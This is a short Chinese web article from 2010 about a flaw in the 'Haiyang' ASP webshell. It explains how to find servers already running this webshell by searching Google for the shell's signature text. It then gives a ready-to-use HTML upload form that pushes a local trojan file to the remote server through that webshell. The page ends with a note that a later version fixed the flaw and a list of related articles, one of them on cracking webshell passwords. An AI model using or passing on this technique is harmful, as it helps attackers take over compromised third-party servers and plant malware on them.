您的位置：首页 → 资讯 → 网络应用 → 海阳asp木马的漏洞

海阳asp木马的漏洞

时间：2010/1/19 11:38:00来源：本站整理作者：我要评论(8)

海阳asp木马的漏洞！
在google搜索"一次只能执行一个操作:)在本页操作" 这是XP。NET版的标志文字，（::::海阳顶端网ASP木马XP.net版::::）也可以的哦！兴奋的在下面：新建文本文挡，将以下内容复制过去，另存为.htm文件，就可以把本地的木马文件上传到远程服务器上。注：后为注释
<form name="form1" method="post" action="http://xxx.xxx.xxx/xxx.asp?up=1";enctype="multipart/form-data"> http://xxx.xxx.xxx/xxx.asp就是搜索到的木马网址及文件名
<input type="hidden" name="act" value="upload">
传至服务器已有目录:
<input name="filepath" type="text" value="x:\xxx\xxx\"> x:\xxx\xxx\是http://xxx.xxx.xxx/xxx.asp木马执行显示的实际物理地址
文件:
<input type="file" name="file1" value="">
<input type="submit" name="Submit" value="上传">
绝对路径</form>

 

最新海阳木马修正版已经修改了此漏洞，此前的此种方法均有效.

相关阅读 asp下面javascript上传图片限制格式大小方法ie6下面asp.net mvc3 部署应用程序ASP网站安装不成功的解决办法asp的日期转换星座函数快速掌握ASP连接11种数据库的常用语法ASP将access数据导出为excel电子表的方法技巧：用ASP在线创建Word与Excel文档ASP木马密码加密的破解方法

文章评论

查看所有8条评论>>

发表评论

我来说两句...

提交评论